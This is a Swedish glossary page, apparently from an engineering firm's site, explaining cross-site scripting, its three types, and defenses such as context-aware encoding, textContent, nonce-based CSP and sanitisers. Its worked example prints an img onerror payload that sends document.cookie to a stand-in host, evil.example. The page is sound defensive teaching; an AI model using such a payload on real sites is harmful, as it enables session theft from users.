{"canonical_url":"https://engineer.company/sv/glossary/cross-site-scripting/","content_markdown":"# Cross-site scripting\n\n## Vad det är\n\nCross-site scripting, nästan alltid förkortat XSS, är angreppet där en\nwebbplats tar text som kommit från någon annan, lägger in den i en sida som den\nserverar till andra och låter bli att oskadliggöra den på vägen, så att\nwebbläsaren läser en del av texten som kod och kör den. Common Weakness\nEnumeration för upp det som CWE-79, under en rubrik som säger ungefär samma\nsak: indata som inte neutraliseras medan en webbsida genereras. Angriparen\nändrar aldrig webbplatsens kod. Angriparen levererar data, och webbplatsen\nsjälv bär ut skriptet till sina egna användare, inne i sina egna sidor.\n\nDet finns tre vägar in, och både CWE-posten och OWASP beskriver dem. Vid\nreflekterad XSS, även kallad icke-persistent eller Type 1, följer nyttolasten\n(payload) med i anropet, oftast som en URL-parameter, och servern kopierar in\nden i svaret: en sida med sökresultat, ett felmeddelande, allt som upprepar det\nden fick. Offret måste lockas att öppna en särskilt preparerad länk, och därför\nplacerar CWE-posten sådana länkar i kärnan av många nätfiskeangrepp. Vid lagrad\nXSS, även kallad persistent eller Type 2, sparas nyttolasten först, i en\nkommentar, ett foruminlägg, ett profilfält eller ett loggmeddelande, och den\nkörs för alla som senare tittar på den posten. Vid DOM-baserad XSS, Type 0, ser\nservern kanske aldrig nyttolasten alls. Sidans eget JavaScript läser något som\nangriparen styr, till exempel delen av adressen efter `#`, och skriver in det i\ndokumentet på ett sätt som får webbläsaren att tolka det som HTML-kod.\n\nNamnet passar illa för dagens problem, och OWASP säger det själva: deras guide\nför att förebygga XSS (cheat sheet) kallar beteckningen missvisande. Den kommer\nfrån tidiga angrepp som stal data mellan webbplatser och har sedan vidgats till\natt omfatta injicering av nästan vilket innehåll som helst i en sida, oavsett om\nen annan webbplats är inblandad eller inte. Även förkortningen har en historia.\nCWE-posten berättar att den självklara förkortningen på tre bokstäver var vanlig\nunder de första åren, tills krocken med Cascading Style Sheets fick den att\nfalla ur bruk.\n\nOWASP räknar XSS som en form av injektion, i samma familj som SQL-injektion. I\nbåda fallen korsar data en gräns och hamnar där de läses som instruktioner: där\nden SQL som en databas kör, här en sidas HTML-kod, attributvärden och\nJavaScript. Botemedlet har samma form i båda fallen. Håll data som data i det\nögonblick de placeras, så har tolken ingenting från angriparen att köra.\n\n## Varför det spelar roll\n\nSkriptet körs som webbplatsens eget. Webbläsaren håller inte reda på var texten\nkom ifrån; den ser en sida som webbplatsen har serverat från sitt eget ursprung\noch ger skriptet allt som det ursprunget får göra. OWASP uttrycker problemet så\natt webbläsaren inte har något sätt att veta att skriptet inte borde betros.\nCWE-posten drar slutsatsen: angreppet sätter avsikten bakom same-origin policy\nur spel, den regel som ska hindra skript från en webbplats att sträcka sig in i\nen annan.\n\nDet skriptet kan göra är det användaren kunde. CWE-79 nämner stöld av privat\ninformation i kakor, till exempel sessionsdata, som det vanligaste angreppet,\noch varnar för att det är särskilt farligt när offret har\nadministratörsbehörighet på webbplatsen. OWASP:s lista är längre: att ta över\nkontot, följa vad användaren gör, hämta in innehåll från annat håll, stjäla\nkänsliga data och skriva om själva sidan. Lagrad XSS i ett loggmeddelande är en\nklassisk väg till just de offren. CWE-posten använder det som exempel, eftersom\nde som läser loggar ofta är administratörer och en loggvisare inte\nnödvändigtvis hanterar fientlig indata ordentligt.\n\nDet angår varje webbteam, inte bara dem som fortfarande skriver HTML-kod för\nhand. Moderna ramverk har gjort XSS ovanligare: OWASP tillskriver deras\nmallsystem och automatiska escaping färre fel. Alla ramverk har ändå\nnödutgångar för de fall där en utvecklare vill sätta in HTML-kod direkt, och\nOWASP pekar ut just dem som de ställen där problemen fortfarande uppstår. Samma\nguide slår fast att ingen enskild teknik löser XSS och att det krävs en\nkombination. Det är ramen för resten av artikeln: koda först för rätt kontext,\noch lägg de andra lagren bakom.\n\n## Så ser det ut i praktiken\n\nTa en webbutik där söksidan upprepar sökordet, så att\n`https://shop.example/search?q=lamp` visar `Results: lamp`. Servern bygger den\nraden genom att klistra in parametern i sin sidmall. En angripare skickar en\nlänk till ett offer där `q` är detta:\n\n```html\n\u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\n```\n\nServern klistrar in den som förut, och offrets webbläsare tar emot:\n\n```html\n\u003cp\u003eResults: \u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\u003c/p\u003e\n```\n\nBilden går inte att ladda, eftersom `x` inte är någon bild, och webbläsaren kör\n`onerror`-hanteraren, som skickar användarens kakor till angriparens server.\nKoden sitter i ett attribut och inte i ett `\u003cscript\u003e`-element, och det är\ntypiskt: OWASP:s eget exempel på en nyttolast använder en bilds\n`onerror`-attribut på samma sätt.\n\nLösningen är att koda värdet för platsen där det hamnar. I brödtext i HTML\nbetyder det att de fem tecknen `\u0026`, `\u003c`, `\u003e`, `\"` och `'` blir `\u0026amp;`,\n`\u0026lt;`, `\u0026gt;`, `\u0026quot;` och `\u0026#x27;`. Samma nyttolast kommer då fram som\n`\u0026lt;img src=x onerror=\u0026quot;...\u0026quot;\u0026gt;`, som webbläsaren visar som text och\naldrig tolkar som en tagg. Ramverk med automatisk escaping gör det åt dig; hålet\nöppnas där en sträng i stället byggs för hand.\n\nI den DOM-baserade varianten skickar servern bara en statisk sida, och sidans\neget skript läser `q` och skriver in det i rubriken:\n\n```js\nconst heading = document.querySelector(\"h1\");\nconst q = new URLSearchParams(location.search).get(\"q\");\nheading.innerHTML = `Results for ${q}`; // tolkar q som HTML\nheading.textContent = `Results for ${q}`; // visar q som text\n```\n\nRaden med `innerHTML` ger angriparens HTML-kod till HTML-parsern, och\n`onerror`-hanteraren slår till precis som förut. HTML-standarden påpekar att ett\n`\u003cscript\u003e`-element som sätts in på det här sättet inte körs alls, och därför\nlutar sig nyttolaster mot attribut för händelsehanterare i stället. Raden med\n`textContent` skapar en textnod och tolkar ingenting, så samma värde visas som\nofarliga tecken. OWASP:s guide om DOM-baserad XSS kallar valet av ett säkert\nmål (sink) som detta för den bästa lösningen, och den allmänna guiden uppmanar\nutvecklare att skriva om koden bort från `innerHTML` och över till\n`textContent`.\n\nBakom kodningen ligger ett lager till. En Content Security Policy som anger en\nnonce säger åt webbläsaren att bara köra de skript som bär den. Det gällande\nutkastet från W3C ber servern att skapa en ny nonce varje gång den skickar en\npolicy, på minst 128 bitar från en kryptografiskt säker slumptalsgenerator. Ett\ninjicerat `\u003cscript\u003e` har ingen nonce, och en inbäddad hanterare som `onerror`\novan avvisas också, eftersom bara `'unsafe-inline'` eller `'unsafe-hashes'` kan\ntillåta hanterare, och en nonce slår av `'unsafe-inline'`. Utkastet nämner\n`script-src 'strict-dynamic' 'nonce-{RANDOM}'` tillsammans med\n`base-uri 'self'` som ett effektivt skydd mot XSS som också går att införa i\npraktiken. I Chromium-baserade webbläsare går\n`require-trusted-types-for 'script'` längre och får mål som `innerHTML` att\nvägra vanliga strängar. OWASP varnar ändå för att en policy är lätt att ställa\nin fel och räknar den som ett extra lager snarare än det primära försvaret.\n\nPå en plattform med yrkes- och organisationsdata sätter middlewaren i Next.js\n[en sådan policy med en nonce per anrop och strict-dynamic](/sv/portfolio/hardened-the-application-with-nonce-based-csp/)\ntillsammans med HSTS och SameSite-kakor, så att webbläsaren är låst när det\ngäller vad den kör och skickar. Samma sida beskriver skydd i flera lager för att undvika beroende av en enda\nkontroll. Auktoriseringen på servern är utformad för att fungera oberoende av\nkontrollerna på klienten, så att gränssnittet inte avgör vem som får åtkomst.\n\n## Var det går fel\n\n**Kodning för fel kontext.** Kodning till HTML-entiteter är rätt för text\nmellan taggar och inte tillräckligt på andra ställen. OWASP ger varje kontext\nsin egen regel: ett värde i en URL-parameter procentkodas på formen `%HH`, och\nett värde i ett attribut kodas för attribut och sätts inom citattecken. Kodning\nskyddar dessutom bara platsen där en sträng sätts in, inte vad som händer med\nden senare; ett värde som skickas vidare till `eval()` är osäkert vad man än\nhar gjort med det. Ha klart för dig var varje värde hamnar, och använd ramverkets kodare för\njust den platsen.\n\n**Attribut utan citattecken.** Ett blanksteg avslutar ett attributvärde utan\ncitattecken, så en angripare som kan lägga till ett blanksteg kan lägga till\nett eget attribut, och `onmouseover=` är allt som behövs. Sätt alltid\nattributvärden inom citattecken, och använd ramverkets attributkodare.\n\n**Användardata i ett attribut för händelsehantering.** Attributkodning skyddar\ninte JavaScript i `onclick` och dess släktingar, eftersom HTML-parsern avkodar\nteckenreferenser innan skriptet tolkas. Koppla hanterare med\n`addEventListener()` och skicka med användarens värde som data.\n\n**En nödutgång i ramverket matad med rå indata.** `dangerouslySetInnerHTML` i\nReact, `bypassSecurityTrustAs*`-funktionerna i Angular och `unsafeHTML` i Lit\nslår alla av den automatiska escapingen. När användare verkligen behöver skriva\nHTML-kod, låt den gå genom en sanerare som DOMPurify, som OWASP rekommenderar,\nändra inte resultatet efteråt, och håll biblioteket uppdaterat, eftersom nya\nsätt att ta sig förbi det hittas hela tiden.\n\n**En `javascript:`-URL i en länk.** Ett fält för webbadress i en profil som\ninnehåller `javascript:` följt av kod gör en harmlös länk till ett skript.\nReact 19 blockerar sådana URL:er i `src` och `href`, men OWASP säger att det\ninte ersätter applikationens egen validering av URL:er. Tillåt de adresstyper\nsom fältet faktiskt behöver, som `https:`, och avvisa allt annat.\n\n**Indatavalidering eller en WAF som lösningen.** Validering hjälper, men den\nkan inte ta bort alla farliga tecken ur fritext. Exemplet i CWE-posten är\nhjärtsymbolen `\u003c3`, som valideringen i en chattapplikation troligen skulle\nsläppa igenom och som ändå innehåller `\u003c`. En brandvägg för webbapplikationer\n(web application firewall) letar efter kända angreppssträngar, missar nya\nkringgåenden och ser aldrig DOM-baserad XSS som sker helt i webbläsaren; OWASP\nrekommenderar inte en sådan för att förebygga XSS. Koda utdata, och räkna båda\nsom extra lager.\n\n**HttpOnly som botemedel.** När sessionskakan är märkt HttpOnly kan\n`document.cookie` inte läsa den, och det tar udden av den vanligaste\nnyttolasten. Skriptet körs ändå och kan agera som användaren inifrån sidan.\nCWE-posten kallar HttpOnly ingen fullständig lösning, och OWASP säger att\nattributen på kakor begränsar skadan utan att hindra körningen. Sätt det, och\ntäpp till själva hålet.\n\n**JSON serverad som HTML.** En slutpunkt som returnerar användardata med\n`Content-Type: text/html` bjuder in webbläsaren att tolka dem som en sida.\nOWASP:s regel är att kontrollera att JSON går ut som `application/json`. Sätt\nheadern uttryckligen på varje sådant svar.\n\n**Policyn som det primära försvaret.** En nonce som återanvänds mellan svar, en\nsaknad `base-uri` eller en `'unsafe-inline'` som lades till för att få en enda\nwidget att fungera kan var för sig i tysthet sätta en policy ur spel. Koda\nförst, och låt policyn fånga det som slinker igenom.\n\n## Läs mer\n\n- [CWE-79 in the Common Weakness Enumeration](https://cwe.mitre.org/data/definitions/79.html)\n  — svaghetsposten: de tre typerna, konsekvenserna och motåtgärderna med deras\n  begränsningar.\n- [OWASP Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n  — kodning för varje kontext, ramverkens nödutgångar, sanering och lagren\n  bakom dem.\n- [OWASP DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n  — säkra och osäkra mål i webbläsaren, med genomgångna exempel.\n- [OWASP: Cross Site Scripting (XSS)](https://community.owasp.org/attacks/xss/)\n  — angreppet sett från angriparens sida, med exempel på nyttolaster.\n- [HTML Standard: Scripting](https://html.spec.whatwg.org/multipage/scripting.html)\n  — hur och när `script`-elementet körs, även i HTML-kod som sätts in.\n- [Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) — nonces,\n  `'strict-dynamic'` och den strikta policy som utkastet rekommenderar.\n\n\u003chttps://engineer.company/sv/glossary/cross-site-scripting/\u003e\n","date_modified":"2026-11-12T05:34:23Z","description":"Hur cross-site scripting får en webbläsare att köra en angripares kod som webbplatsens egen, de tre typerna och de kodvanor som stoppar det.","formats":{"gemtext":"https://engineer.company/sv/glossary/cross-site-scripting/index.gmi","gopher":"https://engineer.company/sv/glossary/cross-site-scripting/gophermap","html":"https://engineer.company/sv/glossary/cross-site-scripting/","json":"https://engineer.company/sv/glossary/cross-site-scripting/index.json","markdown":"https://engineer.company/sv/glossary/cross-site-scripting/index.md","pdf":"https://engineer.company/sv/glossary/cross-site-scripting/index.pdf"},"kind":"page","language":"sv","title":"Vad är cross-site scripting?","url":"https://engineer.company/sv/glossary/cross-site-scripting/","version":1}